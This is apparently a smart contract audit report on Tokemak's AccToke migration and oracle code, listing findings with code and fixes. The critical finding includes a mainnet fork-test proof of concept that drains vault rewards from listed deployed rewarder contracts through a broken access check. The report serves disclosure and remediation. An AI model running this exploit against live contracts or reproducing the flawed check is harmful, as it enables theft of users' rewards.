Overview
This audit covered updates to existing code of the Tokemak protocol, introducing a migration mechanism for AccToke from V1 to V2, as well as the addition of 2 new oracles for Tokemak V2.
Our security assessment was a full review of the code differences, spanning a total of 1 week.
During our audit, we have identified 1 critical severity vulnerability that could have allowed an attacker to steal rewards directly from the protocol.
We have also identified several minor severity vulnerabilities and code optimisations.
Finally, all of our reported issues were fixed or acknowledged by the development team and consequently validated by us.
We can confidently say that the overall security and code quality have increased after completion of our audit.
Scope
The analyzed resources are located on:
https://github.com/Tokemak/tokemak-smart-contracts/tree/71ae9e5eaa645d7acff145f370411badfcaffdf1
https://github.com/Tokemak/v2-core/tree/340875a6597d0e78f0498e2c5395aadd180fa792
The issues described in this report were fixed in the following commits:
https://github.com/Tokemak/tokemak-smart-contracts/tree/72c1fd9eb923d569fcef0bdd29824c8533879d5d
https://github.com/Tokemak/v2-core/tree/6e1c032b9e6bde02e76aa939a17310e3e97c74ff
Summary
Weaknesses
This section contains the list of discovered weaknesses.
TOKE3-16 | BROKEN ACCESS CONTROL IN DESTINATIONVAULTMAINREWARDER::GETREWARD ALLOWS DESTINATION VAULT REWARDERS TO BE DRAINED
Severity:
Status:
Fixed
Path:
tokemak-migration-v2-sep-24/src/rewarders/DestinationVaultMainRewarder.sol#L75
Description:
Note: This issue was outside the main audit scope. However, as the issue affected deployed contracts, it was promptly reported to Tokemak upon discovery during the audit, who immediately began mitigating the risk. It is believed this issue was never exploited on any public networks before detection.
DestinationVaultMainRewarder::getReward contained an access control issue, causing a logical and (&&) to evaluate to false if the account and recipient arguments differed. This allowed all available destination vault rewards earned by a victim account to be claimed by an arbitrary attacker.
The root cause of the issue is that && msg.sender != recipient was erroneously added to the access control check on line 75 in commit c5c1cf1 for the v2-core repository on July 30 2024. DestinationVaultMainRewarder contracts containing the issue were then created and set as the rewarder addresses for DestinationVault contracts deployed on Ethereum mainnet via DestinationVaultFactory::Create on 15th September 2024.
Leading up to discovery, relatively small amounts of funds would be periodically deposited into each DestinationVaultMainRewarder contracts via Liquidation/Vault executor accounts, via LiquidationRow::liquidateVaultsForTokens, and removed several hours later by AutopoolETH::updateDebtReporting.
///src/rewarders/DestinationVaultMainRewarder.sol
function getReward(address account, address recipient, bool claimExtras) public {
if (msg.sender != account && msg.sender != recipient) {
revert Errors.AccessDenied();
}
}
Remove && msg.sender != recipient from line 75 of DestinationVaultMainRewarder::getReward:
///src/rewarders/DestinationVaultMainRewarder.sol
function getReward(address account, address recipient, bool claimExtras) public {
if (msg.sender != account) {
revert Errors.AccessDenied();
}
}
Alternatively, implement access control modifiers to restrict access of the function to the minimum set of necessary addresses, such as the router contract and liquidation executors.
Proof of Concept:
Add the following DestinationVaultMainRewarderForkTest.t.sol fork test contract to the test/rewarders/ directory. It forks from mainnet block 20885110, and demonstrates how an arbitrary attacker can steal staked rewards from the balETH and autoETH vaults, stored in all destination vault's rewarders. Testing implied approximately 1-3 WETH per affected block may be stolen this way at current reward and activity levels. Depending on the rewards stored and number of active destination vaults, this may have resulted in substantial losses over time. Note that the rewarders array contains all known affected DestinationVaultMainRewarder contracts.
// SPDX-License-Identifier: NONE
pragma solidity >=0.6.0 <0.9.0;
import "lib/forge-std/src/Test.sol";
import "lib/forge-std/src/Vm.sol";
import "lib/forge-std/src/console2.sol";
import { DestinationVaultMainRewarder} from "src/rewarders/DestinationVaultMainRewarder.sol";
import { IERC20 } from "openzeppelin-contracts/token/ERC20/IERC20.sol";
contract DestinationVaultMainRewarderForkTest is Test {
address constant BALETH = 0x6dC3ce9C57b20131347FDc9089D740DAf6eB34c5;
address constant AUTOETH = 0x0A2b94F6871c1D7A32Fe58E1ab5e6deA2f114E56;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address[] public rewarders = [
0xAA617b6a58b5C33D49041d9d856C396C7d1EB967,
0x7589f0a3a898c8cC07d46d006C74257032c11b54,
0x6b0455b89594cA04aaC5093587706a9832119ddF,
0xd7C8f13dC476aCd2e5E404F5db1E0b1d27b8B565,
0xa00F485BAfEe41803AE06774236001BeA2C60463,
0xf6E91789749DB1fAb795545CD1138B373EB68B64,
0x5a4eac9DEe423C30FA57a01f7F6cC55B6bB1303e,
0x894DfAA2f74b68841142f4F24641dEA7e1065db8,
0x1Ca7C581120D380C92a86908A35ad26A066163eC,
0x00bcD61A6C638046fD500Ae8449120f50F39B614,
0xa961C9Dc2018974878E91403B1DDA519C0141404,
0x7b69839961143dE72b9ADF43a3AF1a9e3d6d7b3A,
0x11AB565E5F9933d7f652f28582254558D2a5e216,
0x2A38A7F548429f26D7e27F3260a56656947939E3,
0xa6bCf8266EdBce19f8ed87ba3D53c33a96767686,
0x89e06313F21B8d5aD766B645D990aCE29C51E5e1,
0xaB347Bcf5c90b1290f90dd9579dd0bfE7266F56D,
0x4186377FFb6c8C5bE78125d409BE34b7ca00d280,
0xBe35449F140125fd06cc65cbc98Ee2145415D3B2,
0xa3bBb8F8987EE64323D3DD649b031cb8F36b6991,
0xE31150C2742785040bD32bf685cBE9aA790Abb88,
0x8A35CED9618B8f6be092003338DD62A1c62796A7,
0x818E3FBc5ad8292718BAb4F0b09e009E619EaA41,
0xc1fA7A38764782d5e6d8e5C98b70e4e720A338A3,
0x8422885Fdf61AbAdA32a11FCc3E80a98E7F00330,
0x8Fd6F075a61593406977F7c1c7869fa254264A9c,
0x59CD75B726BA2846f96626C8159d177A9098d3E8,
0xCA46ff77e252051b9814Cd396E5e6C1662808479,
0x0a103Dcf7f1a7DD4eB16f76391D16aE838868670,
0x631c276AA6F8B8445de269835B0Ff61dA8a5A23B,
0x8887530fF9b88b7fDE9B51f07Cb0b00f46B25e33,
0xbD2EB718d380b96B9522DC8199a46e79c16441b1,
0x5aaEd8D6880529cdC8586d5CeB1B71f06291ae29,
0xc0e088D33c0DF78C9fe326E073caf0FcB33c30b6,
0xb5590BF0E3054F1B883E7640134eA0B5b266AAc3,
0x6215e6A8084d30D7561b5363734F95Cb5c87316E,
0x53D2Fb9bE395B60Cb7A67d914d9DE9328cC712ED,
0xd6701b11F75F130B470214b7A00063B8137Fd323,
0x4544F503fec9C1563cC51B714CAb93FE6a2f5870
];
address attacker;
IERC20 weth;
uint256 total;
string rpcUrl = vm.envString("MAINNET_RPC_URL");
uint256 mainnetFork = vm.createFork(rpcUrl);
uint256 constant FORK_BLOCK_HEIGHT = 20885110;
error AccessDenied();
function setUp() public
{
console2.log("Starting fork test...");
vm.selectFork(mainnetFork);
vm.rollFork(FORK_BLOCK_HEIGHT);
attacker = makeAddr("attacker");
weth = IERC20(WETH);
}
function test_destinationVaultMainRewarder() external {
vm.startPrank(attacker);
assertEq(weth.balanceOf(attacker), 0);
for(uint i = 0; i < rewarders.length; i++) {
total += DestinationVaultMainRewarder(rewarders[i]).earned(AUTOETH);
total += DestinationVaultMainRewarder(rewarders[i]).earned(BALETH);
DestinationVaultMainRewarder(rewarders[i]).getReward(AUTOETH, attacker, true);
DestinationVaultMainRewarder(rewarders[i]).getReward(BALETH, attacker, true);
}
assertEq(weth.balanceOf(attacker), total);
assertGt(total, 0);
vm.stopPrank();
}
}
TOKE3-2 | USER CAN BYPASS DURATION LOCK OF THEIR DEPOSIT WHEN MIGRATING
Severity:
Status:
Acknowledged
Description:
The current logic of accTokeMigration in Tokemak V1, AccToke.sol allows users to bypass the intended lock duration on locked funds. Users can migrate their balance and provide a new duration which may be shorter than the originally intended lock period. This undermines the lock mechanism and could allow users to prematurely access their funds.
Normally, when a user locks an amount for a specific duration (e.g., 10 days or several staking cycles), they are only allowed to withdraw their funds once the lock period has passed. However, in the migration function, the original lock duration is not taken into account and is "overwritten" by the duration parameter supplied by the user.
function accTokeMigration(address accTokeToMigrateTo, uint256 migrationAmount, uint256 duration, address to) external override whenNotPaused nonReentrant {
[..]
IAutopilotAccToke(accTokeToMigrateTo).stake(migrationAmount, duration, to);
[..]
}
For example, consider the following scenario:
- Bob locks his tokens for 100 days
- Bob uses the migration function and sets the new lock duration to just the minimum staking duration (1 day)
- After migrating, Bob waits for just 1 day and is able to withdraw his funds.
The
withdrawfunction uses the following logic to determine if the funds can be withdrawn:
function withdraw(uint256 amount) external override whenNotPaused nonReentrant {
-- SNIP --
// check to make sure we can request withdrawal in this cycle to begin with
uint256 currentCycleID = _canRequestWithdrawalCheck();
}
The function _canRequestWithdrawalCheck validates the withdrawal request:
function _canRequestWithdrawalCheck() internal view returns (uint256 currentCycleID) {
currentCycleID = getCurrentCycleID();
DepositInfo memory deposit = _deposits[msg.sender];
// must be in correct cycle (past initial lock cycle, and when the lock expires)
require(
deposit.lockCycle < currentCycleID && // some time passed
(currentCycleID - deposit.lockCycle) % deposit.lockDuration == 0, // next cycle after lock expiration
"INVALID_CYCLE_FOR_WITHDRAWAL_REQUEST"
);
}
The issue lies in the fact that the accTokeMigration function does not use the original deposit.lockDuration or deposit.lockCycle, as is done in the withdrawel logic.
Remediation:
When migrating, ensure the new lock duration is at least as long as the remaining time of the original lock.
TOKE3-10 | POTENTIAL PRICE CALCULATION INACCURACY IN STANDARD4626ETHORACLE.GETPRICEINETH
Severity:
Status:
Fixed
Description:
The getPriceInEth function in the Standard4626EthOracle contract may produce inaccurate results when the ERC-4626 vault utilizes a decimal different from its underlying asset. This discrepancy can lead to incorrect price calculations, potentially impacting the entire system that relies on these price feeds.
The current implementation uses vaultTokenOne (which is based on the vault's decimals) as a numerator in the price calculation:
// src/oracles/providers/Standard4626EthOracle.sol
function getPriceInEth(address token) external returns (uint256 price) {
if (token != underlyingAsset) {
revert Errors.InvalidToken(token);
}
uint256 vaultTokenPrice = systemRegistry.rootPriceOracle().getPriceInEth(address(vault));
price = vaultTokenPrice * vaultTokenOne / vault.convertToAssets(vaultTokenOne);
}
However, some ERC-4626 vaults may implement a decimal offset to mitigate inflation attacks:
// @openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol
function decimals() public view virtual override(IERC20Metadata, ERC20) returns (uint8) {
return _underlyingDecimals + _decimalsOffset();
}
This offset can create a mismatch between the vault's decimals and the underlying asset's decimals, leading to incorrect price calculations.
// src/oracles/providers/Standard4626EthOracle.sol
function getPriceInEth(address token) external returns (uint256 price) {
// This oracle is only setup to handle a single token but could possibly be
// configured incorrectly at the root level and receive others to price.
if (token != underlyingAsset) {
revert Errors.InvalidToken(token);
}
uint256 vaultTokenPrice = systemRegistry.rootPriceOracle().getPriceInEth(address(vault));
price = vaultTokenPrice * vaultTokenOne / vault.convertToAssets(vaultTokenOne);
}
Remediation:
Consider using the underlying asset's decimals instead of the vault's decimals as a numerator of price calculation.
TOKE3-12 | LACK OF STAKINGPOINTSEXCEEDED CHECK IN ACCTOKE'S EXTEND FUNCTION
Severity:
Status:
Fixed
Description:
The _stake function in the AccToke contract includes a check that verifies whether the total balance, combined with the points to be accrued (calculated based on the amount and duration), exceeds the staking points limit before minting new tokens.
if (points + totalSupply() > type(uint192).max) {
revert StakingPointsExceeded();
}
However, in the extend function, additional tokens are minted due to the increased duration, but this check is missing.
function extend(uint256[] memory lockupIds, uint256[] memory durations) external whenNotPaused whenNoAdminUnlock {
uint256 length = lockupIds.length;
if (length == 0) revert InvalidLockupIds();
if (length != durations.length) revert InvalidDurationLength();
// before doing anything, make sure the rewards checkpoints are updated!
_collectRewards(msg.sender, msg.sender, false);
uint256 totalExtendedPoints = 0;
uint256 totalLockups = lockups[msg.sender].length;
for (uint256 iter = 0; iter < length;) {
uint256 lockupId = lockupIds[iter];
uint256 duration = durations[iter];
if (lockupId >= totalLockups) revert LockupDoesNotExist();
// duration checked inside previewPoints
Lockup storage lockup = lockups[msg.sender][lockupId];
uint256 oldAmount = lockup.amount;
uint256 oldEnd = lockup.end;
uint256 oldPoints = lockup.points;
// Can only extend ongoing lockups
Errors.verifyNotZero(oldEnd, "oldEnd");
(uint256 newPoints, uint256 newEnd) = previewPoints(oldAmount, duration);
if (newEnd <= oldEnd) revert ExtendDurationTooShort();
lockup.end = SafeCast.toUint128(newEnd);
lockup.points = newPoints;
totalExtendedPoints = totalExtendedPoints + newPoints - oldPoints;
emit Extend(msg.sender, lockupId, oldAmount, oldEnd, newEnd, oldPoints, newPoints);
unchecked {
++iter;
}
}
// issue extra points for extension
_mint(msg.sender, totalExtendedPoints);
}
Remediation:
Consider using the same check before minting in the extend function
TOKE3-7 | INEFFICIENT APPROVAL FLOW IN ACCTOKE MIGRATION
Severity:
Status:
Fixed
Path:
tokemak-contracts/contracts/acctoke/AccToke.sol:accTokeMigration#L289-L293
Description:
The approval flow in the AccToke migration function is inefficient and could be optimized.
It fetches the current allowance and uses decreaseAllowance using this value, following with increaseAllowance on the migration amount.
However, the increaseAllowance and decreaseAllowance functions were introduced to combat front-running attacks. There is no benefit in doing a decreaseAllowance on the fetched allowance as it would just skip it if it returns 0, defeating the whole purpose. This protection is not needed in this flow and approve should just be used directly.
uint256 allowance = toke.allowance(address(this), address(accTokeToMigrateTo));
if(allowance > 0) {
toke.safeDecreaseAllowance(address(accTokeToMigrateTo), allowance);
}
toke.safeIncreaseAllowance(address(accTokeToMigrateTo), migrationAmount);
Remediation:
The whole code snippet should be replaced with a single safeApprove call for the migrationAmount using the SafeERC20 library.
TOKE3-8 | WITHDRAWAL REQUESTS DELETION OPTIMIZATION
Severity:
Status:
Fixed
Path:
tokemak-contracts/contracts/acctoke/AccToke.sol:accTokeMigration#L284-L286
Description:
The AccToke migration function allows taking from the user's withdrawal request when performing the migration for any amount.
In the conditional on lines 267-273 it will decrease any existing withdrawal request with the delta amount. But the check for withdrawal request deletion is done after the conditional on lines 284-286.
This means that this deletion with trigger for every user without a withdrawal request that is doing the migration.
if(migrationAmount > userBalanceNotRequestedForWithdrawal) { // Means overlap is happening.
uint256 withdrawalRequestMigrationAmountOverlap = migrationAmount - userBalanceNotRequestedForWithdrawal;
withdrawalInfo.amount -= withdrawalRequestMigrationAmountOverlap;
// Also take care of total withheld here, not touched otherwise.
withheldLiquidity -= withdrawalRequestMigrationAmountOverlap;
}
if (withdrawalInfo.amount == 0) {
delete requestedWithdrawals[msg.sender];
}
Remediation:
The withdrawal request amount is only modified inside of the conditional branch on lines 267-273 and so the zero check that leads to deletion should also be moved inside of that branch. This would make it trigger only if there was an actual withdrawal request and save gas for users without one.
TOKE3-15 | INCONSISTENCY BETWEEN COMMENT AND IMPLEMENTATION IN STAKING POINTS CALCULATION
Severity:
Status:
Fixed
Description:
The function previewPoints in the staking contract contains a comment that does not accurately reflect the implemented logic for calculating staking points. The comment suggests that points are calculated based on the duration from the staking end date, while the actual implementation calculates points based on the duration from the staking system's start epoch to the user's staking end date.
This inconsistency could lead to misunderstandings of code. Additionally, the current implementation may result in unfair point distribution among users who stake for the same duration but at different times within the same year.
Let's consider a simple example to illustrate the issue:
startEpoch is setto January 1, 2024YEAR_BASE_BOOSTis 1.1 (10% boost per year)- Staking amount is 1000 tokens for all users Scenario:
- User A stakes on January 1, 2024 for 1 year
- User B stakes on December 31, 2024 for 1 year Current implementation results:
- User A:
endYearpoc= 1 year- multiplier = 1.1
- points = 1000 * 1.1 = 1100
- User B:
endYearpoc= 2 years- multiplier = 1.1^2 = 1.21
- points = 1000 * 1.21 = 1210 As we can see, User B receives significantly more points despite staking for the same duration as User A, solely because their staking period ends later.
/**
* @notice Preview the number of points that would be returned for the
* given amount and duration.
*
* @param amount TOKE to be staked
* @param duration number of seconds to stake for
* @return points staking points that would be returned
* @return end staking period end date
*/
function previewPoints(uint256 amount, uint256 duration) public view returns (uint256 points, uint256 end) {
if (duration < minStakeDuration) revert StakingDurationTooShort();
if (duration > maxStakeDuration) revert StakingDurationTooLong();
// slither-disable-next-line timestamp
uint256 start = block.timestamp > startEpoch ? block.timestamp : startEpoch;
end = start + duration;
// calculate points based on duration from staking end date
uint256 endYearpoc = ((end - startEpoch) * 1e18) / 365 days;
uint256 multiplier = PRBMathUD60x18.pow(YEAR_BASE_BOOST, endYearpoc);
points = (amount * multiplier) / 1e18;
}
Remediation:
If the intention is to calculate points fairly based on the actual staking duration, the endYearpoc calculation should be modified to ((end - start) * 1e18) / 365 days. This ensures that users staking for the same duration receive the same points, regardless of when they start staking.
If the intention is to consider the entire period from the system's start time, the current implementation should be maintained, but the comment should be updated to "Calculate points based on duration from the staking system's start epoch to the user's staking end date" to accurately describe the code's actual behavior.
TOKE3-1 | USE CUSTOM ERRORS
Severity:
Status:
Acknowledged
Description:
All AccToke contract errors are currently handled using native Solidity revert statements, with some exceptions.
Custom Errors, available from Solidity compiler version 0.8.4, provide benefits such as smaller contract size, improved gas efficiency, and better protocol interoperability. Replace require statements with Custom Errors for a more streamlined and user-friendly experience. Furthermore, custom errors are much clearer as they allow for parameter values, making debugging much easier.
AccToke.sol#L80-L84
require(_manager != address(0), "INVALID_MANAGER_ADDRESS");
require(_minLockCycles > 0, "INVALID_MIN_LOCK_CYCLES");
require(_maxLockCycles > 0, "INVALID_MAX_LOCK_CYCLES");
require(_maxCap > 0, "INVALID_MAX_CAP");
require(address(_toke) != address(0), "INVALID_TOKE_ADDRESS");
AccToke.sol#L126-L131
require(account != address(0) && account != address(this), "INVALID_ACCOUNT");
require(tokeAmount > 0, "INVALID_TOKE_AMOUNT");
require(toke.balanceOf(msg.sender) >= tokeAmount, "INSUFFICIENT_TOKE_BALANCE");
require(maxCap >= accTotalSupply + tokeAmount, "MAX_CAP_EXCEEDED");
AccToke.sol#L167-L168
require(amount > 0, "INVALID_AMOUNT");
require(amount <= balanceOf(msg.sender), "INSUFFICIENT_BALANCE");
AccToke.sol#L210-L211
require(amount > 0, "INVALID_AMOUNT");
require(amount <= balanceOf(msg.sender), "INSUFFICIENT_BALANCE");
AccToke.sol#L214
require(amount <= allowance, "AMOUNT_GT_MAX_WITHDRAWAL");
AccToke.sol#L251-L253
require(migrationAmount > 0, "INVALID_AMOUNT");
require(duration > 0, "INVALID_DURATION");
require(to != address(0), "INVALID_ADDRESS");
AccToke.sol#L257
require(migrationAmount <= userBalanceBeforeMigration, "INSUFFICIENT_BALANCE");
AccToke.sol#L333
require(account != address(0), "INVALID_ADDRESS");
AccToke.sol#L362
require(_minLockCycles > 0 && _minLockCycles <= maxLockCycles, "INVALID_MIN_LOCK_CYCLES");
AccToke.sol#L369
require(_maxLockCycles >= minLockCycles, "INVALID_MAX_LOCK_CYCLES");
AccToke.sol#L376
require(_maxCap <= toke.totalSupply(), "LT_TOKE_SUPPLY");
AccToke.sol#L384
require(_autoPilotSystemRegistry != address(0), "INVALID_ADDRESS");
AccToke.sol#L399
require(destinations.destinationOnL2 != address(0), "DESTINATIONS_NOT_SET");
AccToke.sol#L411-L412
require(_fxStateSender != address(0), "INVALID_ADDRESS");
require(_destinationOnL2 != address(0), "INVALID_ADDRESS");
AccToke.sol#L425-L426
require(address(destinations.fxStateSender) != address(0), "ADDRESS_NOT_SET");
require(destinations.destinationOnL2 != address(0), "ADDRESS_NOT_SET");
AccToke.sol#L445
require(lockForCycles >= minLockCycles && lockForCycles <= maxLockCycles, "INVALID_LOCK_CYCLES");
AccToke.sol#L448
require(lockForCycles >= _deposits[account].lockDuration, "LOCK_LENGTH_MUST_BE_GTE_EXISTING");
AccToke.sol#L456-L460
require(
deposit.lockCycle < currentCycleID && // some time passed
(currentCycleID - deposit.lockCycle) % deposit.lockDuration == 0, // next cycle after lock expiration
"INVALID_CYCLE_FOR_WITHDRAWAL_REQUEST"
);
AccToke.sol#L467-L468
require(withdrawalInfo.amount > 0, "NO_WITHDRAWAL_REQUEST");
require(withdrawalInfo.minCycle <= getCurrentCycleID(), "WITHDRAWAL_NOT_YET_AVAILABLE");
AccToke.sol#L481
require(autopilotSystemRegistry.isValidContract(accTokeInstance, accToke), "INVALID_ACCTOKE_INSTANCE");
Remediation:
Replace require statements with custom errors.
For example:
require(X == Y, "reason");
becomes
error XnotY(uint, uint);
if (X != Y)
revert XnotY(X, Y);
TOKE3-3 | USE UNCHECKED WHEN IT IS SAFE
Severity:
Status:
Fixed
Path:
acctoke/AccToke.sol#L268
Description:
In the accTokeMigration() function the following lines of code perform a subtraction operation after a conditional check to ensure that no underflow occurs:
if(migrationAmount > userBalanceNotRequestedForWithdrawal) { // Means overlap is happening.
uint256 withdrawalRequestMigrationAmountOverlap = migrationAmount - userBalanceNotRequestedForWithdrawal;
The condition if (migrationAmount > userBalanceNotRequestedForWithdrawal) ensures that the subtraction will not result in an underflow. As a result, the Solidity compiler's default overflow/underflow checks are redundant for this operation.
Implementing the unchecked block here is safe due to the preceding condition that guarantees no underflow, and it provides gas optimization benefits without altering the contract's behavior.
if (migrationAmount > userBalanceNotRequestedForWithdrawal) {
+ unchecked {
uint256 withdrawalRequestMigrationAmountOverlap = migrationAmount - userBalanceNotRequestedForWithdrawal;
+ }
}
function accTokeMigration(address accTokeToMigrateTo, uint256 migrationAmount, uint256 duration, address to) external override whenNotPaused nonReentrant {
_validateAccToke(accTokeToMigrateTo);
require(migrationAmount > 0, "INVALID_AMOUNT");
require(duration > 0, "INVALID_DURATION");
require(to != address(0), "INVALID_ADDRESS");
// Store locally - need later.
uint256 userBalanceBeforeMigration = balanceOf(msg.sender);
require(migrationAmount <= userBalanceBeforeMigration, "INSUFFICIENT_BALANCE");
// Get withdrawal request amount, amount not requested for withdrawal.
WithdrawalInfo storage withdrawalInfo = requestedWithdrawals[msg.sender];
uint256 withdrawalRequestedAmountBeforeMigration = withdrawalInfo.amount;
uint256 userBalanceNotRequestedForWithdrawal = userBalanceBeforeMigration - withdrawalRequestedAmountBeforeMigration;
// Migration amount is taken from funds that are not requested for withdrawal first.
// If there is an overlap (ie. not enough free funds to fulfill `migrationAmount`),
// the withdrawal request total is adjusted.
if(migrationAmount > userBalanceNotRequestedForWithdrawal) { // Means overlap is happening.
uint256 withdrawalRequestMigrationAmountOverlap = migrationAmount - userBalanceNotRequestedForWithdrawal;
withdrawalInfo.amount -= withdrawalRequestMigrationAmountOverlap;
// Also take care of total withheld here, not touched otherwise.
withheldLiquidity -= withdrawalRequestMigrationAmountOverlap;
}
// Update balances.
_balances[msg.sender] -= migrationAmount;
accTotalSupply -= migrationAmount;
// Check to see if balances and withdrawal requests can be deleted.
if (_balances[msg.sender] == 0) {
delete _deposits[msg.sender];
}
if (withdrawalInfo.amount == 0) {
delete requestedWithdrawals[msg.sender];
}
// Approvals and allowance adjustments
uint256 allowance = toke.allowance(address(this), address(accTokeToMigrateTo));
if(allowance > 0) {
toke.safeDecreaseAllowance(address(accTokeToMigrateTo), allowance);
}
toke.safeIncreaseAllowance(address(accTokeToMigrateTo), migrationAmount);
// Migrate to Autopilot AccToke.sol
IAutopilotAccToke(accTokeToMigrateTo).stake(migrationAmount, duration, to);
// Emit event.
emit AutopilotAccTokeMigration(accTokeToMigrateTo, migrationAmount, to);
// Send L2 event
encodeAndSendData(EVENT_TYPE_WITHDRAW_REQUEST, msg.sender, _getUserVoteBalance(msg.sender));
}
TOKE3-4 | DEFAULT VALUE INITIALIZATION
Severity:
Status:
Fixed
Path:
src/staking/AccToke.sol#L65
Description:
The adminUnlock variable is initialized to its default value. This is already the default behavior of Solidity and it becomes therefore redundant and a waste of gas.
bool public adminUnlock = false;
Remediation:
Remove the initialization to a default value in favor of saving gas, or comment it:
bool public adminUnlock; // false by default
TOKE3-5 | SINGLE-STEP OWNERSHIP CHANGE INTRODUCES RISKS
Severity:
Status:
Acknowledged
Description:
The LiquidationExecutor.sol contract imports OZ's Ownable.sol, unlike ChainlinkIncentivePricesUpkeepV3.sol and ChainlinkStatsUpkeepV4.sol which import Ownable2Step.sol.
import { Ownable } from "openzeppelin-contracts/access/Ownable.sol";
Remediation:
Single-step ownership changes introduce risks, use Ownable2Step.sol for LiquidationExecutor as well.
TOKE3-6 | REDUNDANT CASTING
Severity:
Status:
Fixed
Path:
tokemak-contracts/contracts/acctoke/AccToke.sol:accTokeMigration#L289, #L291, #L293
Description:
In the AccToke migration function, the parameter address accTokeToMigrateTo is cast to an address multiple times, even though it already is of type address.
uint256 allowance = toke.allowance(address(this), address(accTokeToMigrateTo));
if(allowance > 0) {
toke.safeDecreaseAllowance(address(accTokeToMigrateTo), allowance);
}
toke.safeIncreaseAllowance(address(accTokeToMigrateTo), migrationAmount);
Remediation:
The redundant casts to address can be removed.
TOKE3-13 | INSUFFICIENT MIGRATIONAMOUNT CHECK TO BE STAKED IN V2
Severity:
Status:
Acknowledged
Description:
The accTokeMigration function currently contains a requirement that only checks if migrationAmount is greater than zero:
require(migrationAmount > 0, "INVALID_AMOUNT");
However, since the minimum stake amount for tokenMakV2 is 10,000 tokens, it should ensure that at least this amount is sent.
function accTokeMigration(address accTokeToMigrateTo, uint256 migrationAmount, uint256 duration, address to) external override whenNotPaused nonReentrant {
_validateAccToke(accTokeToMigrateTo);
require(migrationAmount > 0, "INVALID_AMOUNT");
uint256 constant MINIMUM_STAKE_AMOUNT = 10_000;
function accTokeMigration(address accTokeToMigrateTo, uint256 migrationAmount, uint256 duration, address to) external override whenNotPaused nonReentrant {
_validateAccToke(accTokeToMigrateTo);
+ require(migrationAmount >= MINIMUM_STAKE_AMOUNT, "INVALID_AMOUNT");
- require(migrationAmount > 0, "INVALID_AMOUNT");
}
TOKE3-14 | INCONSISTENT PAUSING LOGIC
Severity:
Status:
Acknowledged
Path:
tokemak-migration-v2-sep-24/src/staking/AccToke.sol#L375
Description:
The AccToke contract implements pausing logic from OpenZeppelin's PausableUpgradeable and uses the whenNotPaused modifier to restrict function execution when the contract is paused. However, the _collectRewards() function lacks this modifier, which is logically inconsistent since other functions, such as _addWETHRewards(), include this modifier.
This inconsistency could lead to a scenario where the PAUSER pauses the protocol, yet malicious user can still call _collectRewards.
function _collectRewards(address user, address recipient, bool distribute) internal returns (uint256) {
// calculate user's new rewards per share (current minus claimed)
uint256 netRewardsPerShare = accRewardPerShare - rewardDebtPerShare[user];
// calculate amount of actual rewards
uint256 netRewards = (balanceOf(user) * netRewardsPerShare) / REWARD_FACTOR;
// get reference to user's pending (sandboxed) rewards
uint256 pendingRewards = unclaimedRewards[user];
// update checkpoint to current
rewardDebtPerShare[user] = accRewardPerShare;
// if nothing to claim, bail
// slither-disable-next-line incorrect-equality,timestamp
if (netRewards == 0 && pendingRewards == 0) {
return 0;
}
if (distribute) {
//
// if asked for actual distribution, transfer all earnings
//
// reset sandboxed rewards
unclaimedRewards[user] = 0;
// get total amount by adding new rewards and previously sandboxed
uint256 totalClaiming = netRewards + pendingRewards;
// update running totals
//slither-disable-next-line costly-loop
totalRewardsClaimed += totalClaiming;
rewardsClaimed[user] += totalClaiming;
emit RewardsClaimed(user, recipient, totalClaiming);
// send rewards to recipient
weth.safeTransfer(recipient, totalClaiming);
// return total amount claimed
return totalClaiming;
}
// slither-disable-next-line timestamp
if (netRewards > 0) {
// Save (sandbox) to their account for later transfer
unclaimedRewards[user] += netRewards;
emit RewardsCollected(user, netRewards);
}
// nothing collected
return 0;
}
Remediation:
If this was not intended, consider adding a whenNotPaused modifier in the _collectRewards() function.